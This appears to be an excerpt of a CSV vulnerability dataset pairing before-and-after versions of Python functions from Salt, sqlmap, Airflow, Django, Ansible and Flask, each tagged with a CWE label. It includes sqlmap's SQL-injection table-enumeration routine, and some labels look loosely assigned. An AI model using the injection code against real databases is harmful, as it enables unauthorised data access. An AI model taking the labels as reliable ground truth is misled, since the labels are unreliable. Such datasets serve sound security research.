    '''
    Reads in the master configuration file and sets up default options
    '''
    opts = {'interface': '0.0.0.0',
            'publish_port': '4505',
            'auth_mode': 1,
            'user': 'root',
            'worker_threads': 5,
            'sock_dir': '/var/run/salt/master',
            'ret_port': '4506',
            'timeout': 5,
            'keep_jobs': 24,
            'root_dir': '/',
            'pki_dir': '/etc/salt/pki/master',
            'cachedir': '/var/cache/salt/master',
            'file_roots': {
                'base': ['/srv/salt'],
                },
            'master_roots': {
                'base': ['/srv/salt-master'],
                },
            'pillar_roots': {
                'base': ['/srv/pillar'],
                },
            'ext_pillar': [],
            # NOTE: pillar version changed to 2 by default in 0.10.6
            'pillar_version': 2,
            'pillar_opts': True,
            'syndic_master': '',
            'runner_dirs': [],
            'client_acl': {},
            'external_auth': {},
            'token_expire': 720,
            'file_buffer_size': 1048576,
            'file_ignore_regex': None,
            'file_ignore_glob': None,
            'max_open_files': 100000,
            'hash_type': 'md5',
            'conf_file': path,
            'open_mode': False,
            'auto_accept': False,
            'renderer': 'yaml_jinja',
            'failhard': False,
            'state_top': 'top.sls',
            'master_tops': {},
            'external_nodes': '',
            'order_masters': False,
            'job_cache': True,
            'ext_job_cache': '',
            'master_ext_job_cache': '',
            'minion_data_cache': True,
            'log_file': '/var/log/salt/master',
            'log_level': None,
            'log_level_logfile': None,
            'log_datefmt': _dflt_log_datefmt,
            'log_fmt_console': _dflt_log_fmt_console,
            'log_fmt_logfile': _dflt_log_fmt_logfile,
            'log_granular_levels': {},
            'pidfile': '/var/run/salt-master.pid',
            'cluster_masters': [],
            'cluster_mode': 'paranoid',
            'range_server': 'range:80',
            'reactors': [],
            'serial': 'msgpack',
            'state_verbose': True,
            'state_output': 'full',
            'search': '',
            'search_index_interval': 3600,
            'nodegroups': {},
            'cython_enable': False,
            'key_logfile': '/var/log/salt/key',
            'verify_env': True,
            'permissive_pki_access': False,
            'default_include': 'master.d/*.conf',
    }

    if len(opts['sock_dir']) > len(opts['cachedir']) + 10:
        opts['sock_dir'] = os.path.join(opts['cachedir'], '.salt-unix')

    load_config(opts, path, 'SALT_MASTER_CONFIG')

    default_include = opts.get('default_include', [])
    include = opts.get('include', [])

    opts = include_config(default_include, opts, path, verbose=False)
    opts = include_config(include, opts, path, verbose=True)

    opts['aes'] = salt.crypt.Crypticle.generate_key_string()

    opts['extension_modules'] = (
            opts.get('extension_modules') or
            os.path.join(opts['cachedir'], 'extmods')
            )
    opts['token_dir'] = os.path.join(opts['cachedir'], 'tokens')
    # Prepend root_dir to other paths
    prepend_root_dir(opts, ['pki_dir', 'cachedir', 'log_file',
                            'sock_dir', 'key_logfile', 'extension_modules',
                            'autosign_file', 'token_dir'])

    # Enabling open mode requires that the value be set to True, and
    # nothing else!
    opts['open_mode'] = opts['open_mode'] is True
    opts['auto_accept'] = opts['auto_accept'] is True
    opts['file_roots'] = _validate_file_roots(opts['file_roots'])

    if opts['file_ignore_regex']:
        # If file_ignore_regex was given, make sure it's wrapped in a list.
        # Only keep valid regex entries for improved performance later on.
        if isinstance(opts['file_ignore_regex'], str):
            ignore_regex = [ opts['file_ignore_regex'] ]
        elif isinstance(opts['file_ignore_regex'], list):
            ignore_regex = opts['file_ignore_regex']

        opts['file_ignore_regex'] = []
        for r in ignore_regex:
            try:
                # Can't store compiled regex itself in opts (breaks serialization)
                re.compile(r)
                opts['file_ignore_regex'].append(r)
            except:
                log.warning('Unable to parse file_ignore_regex. Skipping: {0}'.format(r))

    if opts['file_ignore_glob']:
        # If file_ignore_glob was given, make sure it's wrapped in a list.
        if isinstance(opts['file_ignore_glob'], str):
            opts['file_ignore_glob'] = [ opts['file_ignore_glob'] ]

    return opts",CWE-605,saltstack/salt,70422c93042af929074f713d054c854fc727d9fa,"def master_config(path):
    '''
    Reads in the master configuration file and sets up default options
    '''
    opts = {'interface': '0.0.0.0',
            'publish_port': '4505',
            'user': 'root',
            'worker_threads': 5,
            'sock_dir': '/var/run/salt/master',
            'ret_port': '4506',
            'timeout': 5,
            'keep_jobs': 24,
            'root_dir': '/',
            'pki_dir': '/etc/salt/pki/master',
            'cachedir': '/var/cache/salt/master',
            'file_roots': {
                'base': ['/srv/salt'],
                },
            'master_roots': {
                'base': ['/srv/salt-master'],
                },
            'pillar_roots': {
                'base': ['/srv/pillar'],
                },
            'ext_pillar': [],
            # NOTE: pillar version changed to 2 by default in 0.10.6
            'pillar_version': 2,
            'pillar_opts': True,
            'syndic_master': '',
            'runner_dirs': [],
            'client_acl': {},
            'external_auth': {},
            'token_expire': 720,
            'file_buffer_size': 1048576,
            'file_ignore_regex': None,
            'file_ignore_glob': None,
            'max_open_files': 100000,
            'hash_type': 'md5',
            'conf_file': path,
            'open_mode': False,
            'auto_accept': False,
            'renderer': 'yaml_jinja',
            'failhard': False,
            'state_top': 'top.sls',
            'master_tops': {},
            'external_nodes': '',
            'order_masters': False,
            'job_cache': True,
            'ext_job_cache': '',
            'master_ext_job_cache': '',
            'minion_data_cache': True,
            'log_file': '/var/log/salt/master',
            'log_level': None,
            'log_level_logfile': None,
            'log_datefmt': _dflt_log_datefmt,
            'log_fmt_console': _dflt_log_fmt_console,
            'log_fmt_logfile': _dflt_log_fmt_logfile,
            'log_granular_levels': {},
            'pidfile': '/var/run/salt-master.pid',
            'cluster_masters': [],
            'cluster_mode': 'paranoid',
            'range_server': 'range:80',
            'reactors': [],
            'serial': 'msgpack',
            'state_verbose': True,
            'state_output': 'full',
            'search': '',
            'search_index_interval': 3600,
            'nodegroups': {},
            'cython_enable': False,
            'key_logfile': '/var/log/salt/key',
            'verify_env': True,
            'permissive_pki_access': False,
            'default_include': 'master.d/*.conf',
    }

    if len(opts['sock_dir']) > len(opts['cachedir']) + 10:
        opts['sock_dir'] = os.path.join(opts['cachedir'], '.salt-unix')

    load_config(opts, path, 'SALT_MASTER_CONFIG')

    default_include = opts.get('default_include', [])
    include = opts.get('include', [])

    opts = include_config(default_include, opts, path, verbose=False)
    opts = include_config(include, opts, path, verbose=True)

    opts['aes'] = salt.crypt.Crypticle.generate_key_string()

    opts['extension_modules'] = (
            opts.get('extension_modules') or
            os.path.join(opts['cachedir'], 'extmods')
            )
    opts['token_dir'] = os.path.join(opts['cachedir'], 'tokens')
    # Prepend root_dir to other paths
    prepend_root_dir(opts, ['pki_dir', 'cachedir', 'log_file',
                            'sock_dir', 'key_logfile', 'extension_modules',
                            'autosign_file', 'token_dir'])

    # Enabling open mode requires that the value be set to True, and
    # nothing else!
    opts['open_mode'] = opts['open_mode'] is True
    opts['auto_accept'] = opts['auto_accept'] is True
    opts['file_roots'] = _validate_file_roots(opts['file_roots'])

    if opts['file_ignore_regex']:
        # If file_ignore_regex was given, make sure it's wrapped in a list.
        # Only keep valid regex entries for improved performance later on.
        if isinstance(opts['file_ignore_regex'], str):
            ignore_regex = [ opts['file_ignore_regex'] ]
        elif isinstance(opts['file_ignore_regex'], list):
            ignore_regex = opts['file_ignore_regex']

        opts['file_ignore_regex'] = []
        for r in ignore_regex:
            try:
                # Can't store compiled regex itself in opts (breaks serialization)
                re.compile(r)
                opts['file_ignore_regex'].append(r)
            except:
                log.warning('Unable to parse file_ignore_regex. Skipping: {0}'.format(r))

    if opts['file_ignore_glob']:
        # If file_ignore_glob was given, make sure it's wrapped in a list.
        if isinstance(opts['file_ignore_glob'], str):
            opts['file_ignore_glob'] = [ opts['file_ignore_glob'] ]

    return opts"
functions_for_sqlmap_with_cwe.csv,UNKNOWN,UNKNOWN,plugins/dbms/mssqlserver/enumeration.py,0,"def getTables(self):
        infoMsg = ""fetching tables""
        if conf.db:
            infoMsg += "" for database '%s'"" % conf.db
        logger.info(infoMsg)

        rootQuery = queries[kb.dbms].tables

        if not conf.db:
            if not len(kb.data.cachedDbs):
                dbs = self.getDbs()
            else:
                dbs = kb.data.cachedDbs
        else:
            if "","" in conf.db:
                dbs = conf.db.split("","")
            else:
                dbs = [conf.db]

        if kb.unionPosition or conf.direct:
            for db in dbs:
                if conf.excludeSysDbs and db in self.excludeDbsList:
                    infoMsg = ""skipping system database '%s'"" % db
                    logger.info(infoMsg)

                    continue

                query = rootQuery[""inband""][""query""] % db
                value = inject.getValue(query, blind=False)

                if value:
                    kb.data.cachedTables[db] = value

        if not kb.data.cachedTables and not conf.direct:
            for db in dbs:
                if conf.excludeSysDbs and db in self.excludeDbsList:
                    infoMsg = ""skipping system database '%s'"" % db
                    logger.info(infoMsg)

                    continue

                infoMsg  = ""fetching number of tables for ""
                infoMsg += ""database '%s'"" % db
                logger.info(infoMsg)

                query = rootQuery[""blind""][""count""] % db
                count = inject.getValue(query, inband=False, charsetType=2)

                if not count.isdigit() or not len(count) or count == ""0"":
                    warnMsg  = ""unable to retrieve the number of ""
                    warnMsg += ""tables for database '%s'"" % db
                    logger.warn(warnMsg)
                    continue

                tables = []

                for index in range(int(count)):
                    query = rootQuery[""blind""][""query""] % (db, index, db)
                    table = inject.getValue(query, inband=False)
                    tables.append(table)

                if tables:
                    kb.data.cachedTables[db] = tables
                else:
                    warnMsg  = ""unable to retrieve the tables ""
                    warnMsg += ""for database '%s'"" % db
                    logger.warn(warnMsg)

        if not kb.data.cachedTables:
            errMsg = ""unable to retrieve the tables for any database""
            raise sqlmapNoneDataException(errMsg)

        return kb.data.cachedTables",,sqlmapproject/sqlmap,5fdebb5d5b4e006e70815fee942ada20949d4277,"def getTables(self):
        infoMsg = ""fetching tables""
        if conf.db:
            infoMsg += "" for database '%s'"" % conf.db
        logger.info(infoMsg)

        rootQuery = queries[kb.dbms].tables

        if not conf.db:
            if not len(kb.data.cachedDbs):
                dbs = self.getDbs()
            else:
                dbs = kb.data.cachedDbs
        else:
            if "","" in conf.db:
                dbs = conf.db.split("","")
            else:
                dbs = [conf.db]

        if kb.unionPosition:
            for db in dbs:
                if conf.excludeSysDbs and db in self.excludeDbsList:
                    infoMsg = ""skipping system database '%s'"" % db
                    logger.info(infoMsg)

                    continue

                query = rootQuery[""inband""][""query""] % db
                value = inject.getValue(query, blind=False)

                if value:
                    kb.data.cachedTables[db] = value

        if not kb.data.cachedTables:
            for db in dbs:
                if conf.excludeSysDbs and db in self.excludeDbsList:
                    infoMsg = ""skipping system database '%s'"" % db
                    logger.info(infoMsg)

                    continue

                infoMsg  = ""fetching number of tables for ""
                infoMsg += ""database '%s'"" % db
                logger.info(infoMsg)

                query = rootQuery[""blind""][""count""] % db
                count = inject.getValue(query, inband=False, charsetType=2)

                if not count.isdigit() or not len(count) or count == ""0"":
                    warnMsg  = ""unable to retrieve the number of ""
                    warnMsg += ""tables for database '%s'"" % db
                    logger.warn(warnMsg)
                    continue

                tables = []

                for index in range(int(count)):
                    query = rootQuery[""blind""][""query""] % (db, index, db)
                    table = inject.getValue(query, inband=False)
                    tables.append(table)

                if tables:
                    kb.data.cachedTables[db] = tables
                else:
                    warnMsg  = ""unable to retrieve the tables ""
                    warnMsg += ""for database '%s'"" % db
                    logger.warn(warnMsg)

        if not kb.data.cachedTables:
            errMsg = ""unable to retrieve the tables for any database""
            raise sqlmapNoneDataException(errMsg)

        return kb.data.cachedTables"
functions_for_airflow_with_cwe.csv,UNKNOWN,UNKNOWN,tests/providers/google/cloud/operators/vertex_ai/test_generative_model.py,0,"def test_execute(self, mock_hook):
        contents = [""In 10 words or less, what is Apache Airflow?""]
        tools = [Tool.from_google_search_retrieval(grounding.GoogleSearchRetrieval())]
        pretrained_model = ""gemini-pro""
        safety_settings = {
            HarmCategory.HARM_CATEGORY_HATE_SPEECH: HarmBlockThreshold.BLOCK_ONLY_HIGH,
            HarmCategory.HARM_CATEGORY_DANGEROUS_CONTENT: HarmBlockThreshold.BLOCK_ONLY_HIGH,
            HarmCategory.HARM_CATEGORY_SEXUALLY_EXPLICIT: HarmBlockThreshold.BLOCK_ONLY_HIGH,
            HarmCategory.HARM_CATEGORY_HARASSMENT: HarmBlockThreshold.BLOCK_ONLY_HIGH,
        }
        generation_config = {""max_output_tokens"": 256, ""top_p"": 0.8, ""temperature"": 0.0}
        system_instruction = ""be concise.""

        op = GenerativeModelGenerateContentOperator(
            task_id=TASK_ID,
            project_id=GCP_PROJECT,
            location=GCP_LOCATION,
            contents=contents,
            tools=tools,
            generation_config=generation_config,
            safety_settings=safety_settings,
            pretrained_model=pretrained_model,
            system_instruction=system_instruction,
            gcp_conn_id=GCP_CONN_ID,
            impersonation_chain=IMPERSONATION_CHAIN,
        )
        op.execute(context={""ti"": mock.MagicMock()})
        mock_hook.assert_called_once_with(
            gcp_conn_id=GCP_CONN_ID,
            impersonation_chain=IMPERSONATION_CHAIN,
        )
        mock_hook.return_value.generative_model_generate_content.assert_called_once_with(
            project_id=GCP_PROJECT,
            location=GCP_LOCATION,
            contents=contents,
            tools=tools,
            generation_config=generation_config,
            safety_settings=safety_settings,
            pretrained_model=pretrained_model,
            system_instruction=system_instruction,
        )",CWE-Unknown,apache/airflow,f278e62255e513c26f26c76e41a8734ec36fb07a,"def test_execute(self, mock_hook):
        contents = [""In 10 words or less, what is Apache Airflow?""]
        tools = [Tool.from_google_search_retrieval(grounding.GoogleSearchRetrieval())]
        pretrained_model = ""gemini-pro""
        safety_settings = {
            HarmCategory.HARM_CATEGORY_HATE_SPEECH: HarmBlockThreshold.BLOCK_ONLY_HIGH,
            HarmCategory.HARM_CATEGORY_DANGEROUS_CONTENT: HarmBlockThreshold.BLOCK_ONLY_HIGH,
            HarmCategory.HARM_CATEGORY_SEXUALLY_EXPLICIT: HarmBlockThreshold.BLOCK_ONLY_HIGH,
            HarmCategory.HARM_CATEGORY_HARASSMENT: HarmBlockThreshold.BLOCK_ONLY_HIGH,
        }
        generation_config = {""max_output_tokens"": 256, ""top_p"": 0.8, ""temperature"": 0.0}

        op = GenerativeModelGenerateContentOperator(
            task_id=TASK_ID,
            project_id=GCP_PROJECT,
            location=GCP_LOCATION,
            contents=contents,
            tools=tools,
            generation_config=generation_config,
            safety_settings=safety_settings,
            pretrained_model=pretrained_model,
            gcp_conn_id=GCP_CONN_ID,
            impersonation_chain=IMPERSONATION_CHAIN,
        )
        op.execute(context={""ti"": mock.MagicMock()})
        mock_hook.assert_called_once_with(
            gcp_conn_id=GCP_CONN_ID,
            impersonation_chain=IMPERSONATION_CHAIN,
        )
        mock_hook.return_value.generative_model_generate_content.assert_called_once_with(
            project_id=GCP_PROJECT,
            location=GCP_LOCATION,
            contents=contents,
            tools=tools,
            generation_config=generation_config,
            safety_settings=safety_settings,
            pretrained_model=pretrained_model,
        )"
,UNKNOWN,UNKNOWN,tests/utils_tests/test_html.py,1,"def test_format_html(self):
        self.assertEqual(
            html.format_html(""{0} {1} {third} {fourth}"",
                             ""< Dangerous >"",
                             html.mark_safe(""<b>safe</b>""),
                             third=""< dangerous again"",
                             fourth=html.mark_safe(""<i>safe again</i>"")
                             ),
            ""&lt; Dangerous &gt; <b>safe</b> &lt; dangerous again <i>safe again</i>""
        )",CWE-79,django/django,a800036981c6fea8eb3dac22467965c71af05d29,"def test_format_html(self):
        self.assertEqual(
            html.format_html(""{0} {1} {third} {fourth}"",
                             ""< Dangerous >"",
                             html.mark_safe(""<b>safe</b>""),
                             third=""< dangerous again"",
                             fourth=html.mark_safe(""<i>safe again</i>"")
                             ),
            ""&lt; Dangerous &gt; <b>safe</b> &lt; dangerous again <i>safe again</i>""
            )"
,UNKNOWN,UNKNOWN,tests/executors/test_celery_kubernetes_executor.py,1,"def test_log_is_fetched_from_k8s_executor_only_for_k8s_queue(self):
        celery_executor_mock = mock.MagicMock()
        k8s_executor_mock = mock.MagicMock()
        cke = CeleryKubernetesExecutor(celery_executor_mock, k8s_executor_mock)
        simple_task_instance = mock.MagicMock()
        simple_task_instance.queue = KUBERNETES_QUEUE
        cke.get_task_log(ti=simple_task_instance, try_number=1)
        k8s_executor_mock.get_task_log.assert_called_once_with(ti=simple_task_instance, try_number=1)

        k8s_executor_mock.reset_mock()

        simple_task_instance.queue = ""test-queue""
        log = cke.get_task_log(ti=simple_task_instance, try_number=1)
        k8s_executor_mock.get_task_log.assert_not_called()
        assert log == ([], [])",CWE-703,apache/airflow,f5ed4d599cadd90ca097e304234253e8aa2adad9,"def test_log_is_fetched_from_k8s_executor_only_for_k8s_queue(self):
        celery_executor_mock = mock.MagicMock()
        k8s_executor_mock = mock.MagicMock()
        cke = CeleryKubernetesExecutor(celery_executor_mock, k8s_executor_mock)
        simple_task_instance = mock.MagicMock()
        simple_task_instance.queue = KUBERNETES_QUEUE
        cke.get_task_log(ti=simple_task_instance)
        k8s_executor_mock.get_task_log.assert_called_once_with(ti=simple_task_instance)

        k8s_executor_mock.reset_mock()

        simple_task_instance.queue = ""test-queue""
        log = cke.get_task_log(ti=simple_task_instance)
        k8s_executor_mock.get_task_log.assert_not_called()
        assert log == ([], [])"
,UNKNOWN,UNKNOWN,tests/genai/scorers/test_builtin_scorers.py,1,"def test_retrieval_groundedness(sample_rag_trace):
    with patch(
        ""databricks.agents.evals.judges.groundedness"",
        side_effect=lambda *args, **kwargs: Feedback(name=""retrieval_groundedness"", value=""yes""),
    ) as mock_groundedness:
        result = retrieval_groundedness(trace=sample_rag_trace)

    mock_groundedness.assert_has_calls(
        [
            call(
                request=""{'question': 'query'}"",
                response=""answer"",
                retrieved_context=[
                    {""content"": ""content_1"", ""doc_uri"": ""url_1""},
                    {""content"": ""content_2"", ""doc_uri"": ""url_2""},
                ],
                assessment_name=""retrieval_groundedness"",
            ),
            call(
                request=""{'question': 'query'}"",
                response=""answer"",
                retrieved_context=[{""content"": ""content_3""}],
                assessment_name=""retrieval_groundedness"",
            ),
        ],
    )
    assert len(result) == 2
    assert all(isinstance(f, Feedback) for f in result)
    expected_span_ids = [
        s.span_id for s in sample_rag_trace.search_spans(span_type=SpanType.RETRIEVER)
    ]
    actual_span_ids = [f.span_id for f in result]
    assert set(actual_span_ids) == set(expected_span_ids)",CWE-703,mlflow/mlflow,f108fb63bcb9071ce0c0445e772a7138bc3a4107,"def test_retrieval_groundedness(sample_rag_trace):
    with patch(
        ""databricks.agents.evals.judges.groundedness"",
        side_effect=lambda *args, **kwargs: Feedback(name=""retrieval_groundedness"", value=""yes""),
    ) as mock_groundedness:
        result = retrieval_groundedness(trace=sample_rag_trace)

    mock_groundedness.assert_has_calls(
        [
            call(
                request=""query"",
                response=""answer"",
                retrieved_context=[
                    {""content"": ""content_1"", ""doc_uri"": ""url_1""},
                    {""content"": ""content_2"", ""doc_uri"": ""url_2""},
                ],
                assessment_name=""retrieval_groundedness"",
            ),
            call(
                request=""query"",
                response=""answer"",
                retrieved_context=[{""content"": ""content_3""}],
                assessment_name=""retrieval_groundedness"",
            ),
        ],
    )
    assert len(result) == 2
    assert all(isinstance(f, Feedback) for f in result)
    expected_span_ids = [
        s.span_id for s in sample_rag_trace.search_spans(span_type=SpanType.RETRIEVER)
    ]
    actual_span_ids = [f.span_id for f in result]
    assert set(actual_span_ids) == set(expected_span_ids)"
,UNKNOWN,UNKNOWN,lib/ansible/playbook/play_context.py,1,"def make_become_cmd(self, cmd, executable=None):
        """""" helper function to create privilege escalation commands """"""

        prompt      = None
        success_key = None

        if executable is None:
            executable = C.DEFAULT_EXECUTABLE

        if self.become:

            becomecmd   = None
            randbits    = ''.join(chr(random.randint(ord('a'), ord('z'))) for x in xrange(32))
            success_key = 'BECOME-SUCCESS-%s' % randbits
            success_cmd = pipes.quote('echo %s; %s' % (success_key, cmd))

            if self.become_method == 'sudo':
                # Rather than detect if sudo wants a password this time, -k makes sudo always ask for
                # a password if one is required. Passing a quoted compound command to sudo (or sudo -s)
                # directly doesn't work, so we shellquote it with pipes.quote() and pass the quoted
                # string to the user's shell.  We loop reading output until we see the randomly-generated
                # sudo prompt set with the -p option.
                prompt = '[sudo via ansible, key=%s] password: ' % randbits
                exe = self.become_exe or self.sudo_exe or 'sudo'
                flags = self.become_flags or self.sudo_flags or ''
                becomecmd = '%s -k && %s %s -S -p ""%s"" -u %s %s -c %s' % \
                    (exe, exe, flags or C.DEFAULT_SUDO_FLAGS, prompt, self.become_user, executable, success_cmd)

            elif self.become_method == 'su':

                def detect_su_prompt(data):
                    SU_PROMPT_LOCALIZATIONS_RE = re.compile(""|"".join(['(\w+\'s )?' + x + ' ?: ?' for x in SU_PROMPT_LOCALIZATIONS]), flags=re.IGNORECASE)
                    return bool(SU_PROMPT_LOCALIZATIONS_RE.match(data))

                prompt = detect_su_prompt
                exe = self.become_exe or self.su_exe or 'su'
                flags = self.become_flags or self.su_flags or ''
                becomecmd = '%s %s %s -c ""%s -c %s""' % (exe, flags, self.become_user, executable, success_cmd)

            elif self.become_method == 'pbrun':

                prompt='assword:'
                exe = self.become_exe or 'pbrun'
                flags = self.become_flags or ''
                becomecmd = '%s -b %s -u %s %s' % (exe, flags, self.become_user, success_cmd)

            elif self.become_method == 'pfexec':

                exe = self.become_exe or 'pfexec'
                flags = self.become_flags or ''
                # No user as it uses it's own exec_attr to figure it out
                becomecmd = '%s %s ""%s""' % (exe, flags, success_cmd)

            else:
                raise AnsibleError(""Privilege escalation method not found: %s"" % self.become_method)

            self.prompt      = prompt
            self.success_key = success_key
            return ('%s -c %s' % (executable, pipes.quote(becomecmd)))

        return cmd",CWE-330,ansible/ansible,015b922c1fd6680e95b46aa0aa81121396f485c7,"def make_become_cmd(self, cmd, executable=None):
        """""" helper function to create privilege escalation commands """"""

        prompt      = None
        success_key = None

        if executable is None:
            executable = C.DEFAULT_EXECUTABLE

        if self.become:

            becomecmd   = None
            randbits    = ''.join(chr(random.randint(ord('a'), ord('z'))) for x in xrange(32))
            success_key = 'BECOME-SUCCESS-%s' % randbits
            #executable = executable or '$SHELL'
            success_cmd = pipes.quote('echo %s; %s' % (success_key, cmd))

            if self.become_method == 'sudo':
                # Rather than detect if sudo wants a password this time, -k makes sudo always ask for
                # a password if one is required. Passing a quoted compound command to sudo (or sudo -s)
                # directly doesn't work, so we shellquote it with pipes.quote() and pass the quoted
                # string to the user's shell.  We loop reading output until we see the randomly-generated
                # sudo prompt set with the -p option.
                prompt = '[sudo via ansible, key=%s] password: ' % randbits
                exe = self.become_exe or self.sudo_exe or 'sudo'
                flags = self.become_flags or self.sudo_flags or ''
                becomecmd = '%s -k && %s %s -S -p ""%s"" -u %s %s -c %s' % \
                    (exe, exe, flags or C.DEFAULT_SUDO_FLAGS, prompt, self.become_user, executable, success_cmd)

            elif self.become_method == 'su':

                def detect_su_prompt(data):
                    SU_PROMPT_LOCALIZATIONS_RE = re.compile(""|"".join(['(\w+\'s )?' + x + ' ?: ?' for x in SU_PROMPT_LOCALIZATIONS]), flags=re.IGNORECASE)
                    return bool(SU_PROMPT_LOCALIZATIONS_RE.match(data))

                prompt = detect_su_prompt
                exe = self.become_exe or self.su_exe or 'su'
                flags = self.become_flags or self.su_flags or ''
                becomecmd = '%s %s %s -c ""%s -c %s""' % (exe, flags, self.become_user, executable, success_cmd)

            elif self.become_method == 'pbrun':

                prompt='assword:'
                exe = self.become_exe or 'pbrun'
                flags = self.become_flags or ''
                becomecmd = '%s -b %s -u %s %s' % (exe, flags, self.become_user, success_cmd)

            elif self.become_method == 'pfexec':

                exe = self.become_exe or 'pfexec'
                flags = self.become_flags or ''
                # No user as it uses it's own exec_attr to figure it out
                becomecmd = '%s %s ""%s""' % (exe, flags, success_cmd)

            else:
                raise AnsibleError(""Privilege escalation method not found: %s"" % self.become_method)

            self.prompt      = prompt
            self.success_key = success_key
            return ('%s -c ' % executable) + pipes.quote(becomecmd)

        return cmd"
functions_for_django_with_cwe.csv,UNKNOWN,UNKNOWN,tests/delete_regress/tests.py,0,"def test_generic_relation_cascade(self):
        """"""
        Django cascades deletes through generic-related objects to their
        reverse relations.
        """"""
        person = Person.objects.create(name='Nelson Mandela')
        award = Award.objects.create(name='Nobel', content_object=person)
        AwardNote.objects.create(note='a peace prize',
                                 award=award)
        self.assertEqual(AwardNote.objects.count(), 1)
        person.delete()
        self.assertEqual(Award.objects.count(), 0)
        # first two asserts are just sanity checks, this is the kicker:
        self.assertEqual(AwardNote.objects.count(), 0)",CWE-Unknown,django/django,5153a3bfdcec82324d67ff79862384288cf6afe6,"def test_generic_relation_cascade(self):
        """"""
        Django cascades deletes through generic-related objects to their
        reverse relations.

        """"""
        person = Person.objects.create(name='Nelson Mandela')
        award = Award.objects.create(name='Nobel', content_object=person)
        AwardNote.objects.create(note='a peace prize',
                                 award=award)
        self.assertEqual(AwardNote.objects.count(), 1)
        person.delete()
        self.assertEqual(Award.objects.count(), 0)
        # first two asserts are just sanity checks, this is the kicker:
        self.assertEqual(AwardNote.objects.count(), 0)"
,UNKNOWN,UNKNOWN,tests/providers/amazon/aws/operators/test_eventbridge.py,1,"def test_execute(self, mock_conn: MagicMock):
        hook_response = {""FailedEntryCount"": 0, ""Entries"": [{""EventId"": ""foobar""}]}

        mock_conn.put_events.return_value = hook_response

        operator = EventBridgePutEventsOperator(
            task_id=""put_events_job"",
            entries=ENTRIES,
        )

        result = operator.execute(context={})

        assert result == [""foobar""]",CWE-703,apache/airflow,59b32dc0a0bcdffd124b82d92428f334646cd8cd,"def test_execute(self, mock_conn: MagicMock):
        hook_response = {""FailedEntryCount"": 0, ""Entries"": [{""EventId"": ""foobar""}]}

        mock_conn.put_events.return_value = hook_response

        operator = EventBridgePutEventsOperator(
            task_id=""put_events_job"",
            entries=ENTRIES,
        )

        result = operator.execute(None)

        assert result == [""foobar""]"
,UNKNOWN,UNKNOWN,test/units/modules/network/nso/test_nso_config.py,1,"def _test_invalid_version(self, open_url_mock, version):
        calls = [
            MockResponse('login', {}, 200, '{}', {'set-cookie': 'id'}),
            MockResponse('get_system_setting', {'operation': 'version'}, 200, '{""result"": ""%s""}' % (version, )),
            MockResponse('logout', {}, 200, '{""result"": {}}'),
        ]
        open_url_mock.side_effect = lambda *args, **kwargs: nso_module.mock_call(calls, *args, **kwargs)

        data = nso_module.load_fixture('config_config.json')
        set_module_args({
            'username': 'user', 'password': 'password',
            'url': 'http://localhost:8080/jsonrpc', 'data': data,
            'validate_certs': False
        })
        self.execute_module(failed=True)

        self.assertEqual(0, len(calls))",CWE-259,ansible/ansible,1f7ffe26195dbc9191a292465f80d1a2388ce408,"def _test_invalid_version(self, open_url_mock, version):
        calls = [
            MockResponse('login', {}, 200, '{}', {'set-cookie': 'id'}),
            MockResponse('get_system_setting', {'operation': 'version'}, 200, '{""result"": ""%s""}' % (version, )),
            MockResponse('logout', {}, 200, '{""result"": {}}'),
        ]
        open_url_mock.side_effect = lambda *args, **kwargs: nso_module.mock_call(calls, *args, **kwargs)

        data = nso_module.load_fixture('config_config.json')
        set_module_args({
            'username': 'user', 'password': 'password',
            'url': 'http://localhost:8080/jsonrpc', 'data': data
        })
        self.execute_module(failed=True)

        self.assertEqual(0, len(calls))"
functions_for_flask_with_cwe.csv,UNKNOWN,UNKNOWN,flask/testsuite/testing.py,0,"def test_full_url_request(self):
        app = flask.Flask(__name__)
        app.testing = True

        @app.route('/action', methods=['POST'])
        def action():
            return 'x'

        with app.test_client() as c:
            rv = c.post('http://domain.com/action?vodka=42', data={'gin': 43})
            self.assert_equal(rv.status_code, 200)
            self.assert_('gin' in flask.request.form)
            self.assert_('vodka' in flask.request.args)",,pallets/flask,6de9484c97a9965ba2373015d28ab79280b85abe,"def test_full_url_request(self):
        app = flask.Flask(__name__)
        app.testing = True

        @app.route('/action', methods=['POST'])
        def action():
            return 'x'

        with app.test_client() as c:
            rv = c.post('http://domain.com/action?vodka=42', data={'gin': 43})
            self.assert_equal(rv.status_code, 200)
            self.assert_('gin' in flask.request.form)
            self.ssert_('vodka' in flask.request.args)"
functions_for_salt_with_cwe.csv,UNKNOWN,UNKNOWN,salt/modules/apache.py,0,"def server_status(profile='default'):
    '''
    Get Information from the Apache server-status handler

    NOTE:
    the server-status handler is disabled by default.
    in order for this function to work it needs to be enabled.
    http://httpd.apache.org/docs/2.2/mod/mod_status.html

    The following configuration needs to exists in pillar/grains
    each entry nested in apache.server-status is a profile of a vhost/server
    this would give support for multiple apache servers/vhosts

    apache.server-status:
      'default':
        'url': http://localhost/server-status
        'user': someuser
        'pass': password
        'realm': 'authentication realm for digest passwords'
        'timeout': 5

    CLI Examples::

        salt '*' apache.server_status
        salt '*' apache.server_status other-profile
    '''
    ret = {
        'Scoreboard': {
            '_': 0,
            'S': 0,
            'R': 0,
            'W': 0,
            'K': 0,
            'D': 0,
            'C': 0,
            'L': 0,
            'G': 0,
            'I': 0,
            '.': 0,
        },
    }

    # Get configuration from pillar
    url = __salt__['config.get']('apache.server-status:{0}:url'.format(profile), 'http://localhost/server-status')
    user = __salt__['config.get']('apache.server-status:{0}:user'.format(profile), '')
    passwd = __salt__['config.get']('apache.server-status:{0}:pass'.format(profile), '')
    realm = __salt__['config.get']('apache.server-status:{0}:realm'.format(profile), '')
    timeout = __salt__['config.get']('apache.server-status:{0}:timeout'.format(profile), 5)

    # create authentication handler if configuration exists
    if user and passwd:
        basic = urllib2.HTTPBasicAuthHandler()
        basic.add_password(realm=realm, uri=url, user=user, passwd=passwd)
        digest = urllib2.HTTPDigestAuthHandler()
        digest.add_password(realm=realm, uri=url, user=user, passwd=passwd)
        urllib2.install_opener(urllib2.build_opener(basic, digest))

    # get http data
    url += '?auto'
    try:
        response = urllib2.urlopen(url, timeout=timeout).read().splitlines()
    except urllib2.URLError:
        return 'error'

    # parse the data
    for line in response:
        splt = line.split(':', 1)
        splt[0] = splt[0].strip()
        splt[1] = splt[1].strip()

        if splt[0] == 'Scoreboard':
            for c in splt[1]:
                ret['Scoreboard'][c] += 1
        else:
            if splt[1].isdigit():
                ret[splt[0]] = int(splt[1])
            else:
                ret[splt[0]] = float(splt[1])

    # return the good stuff
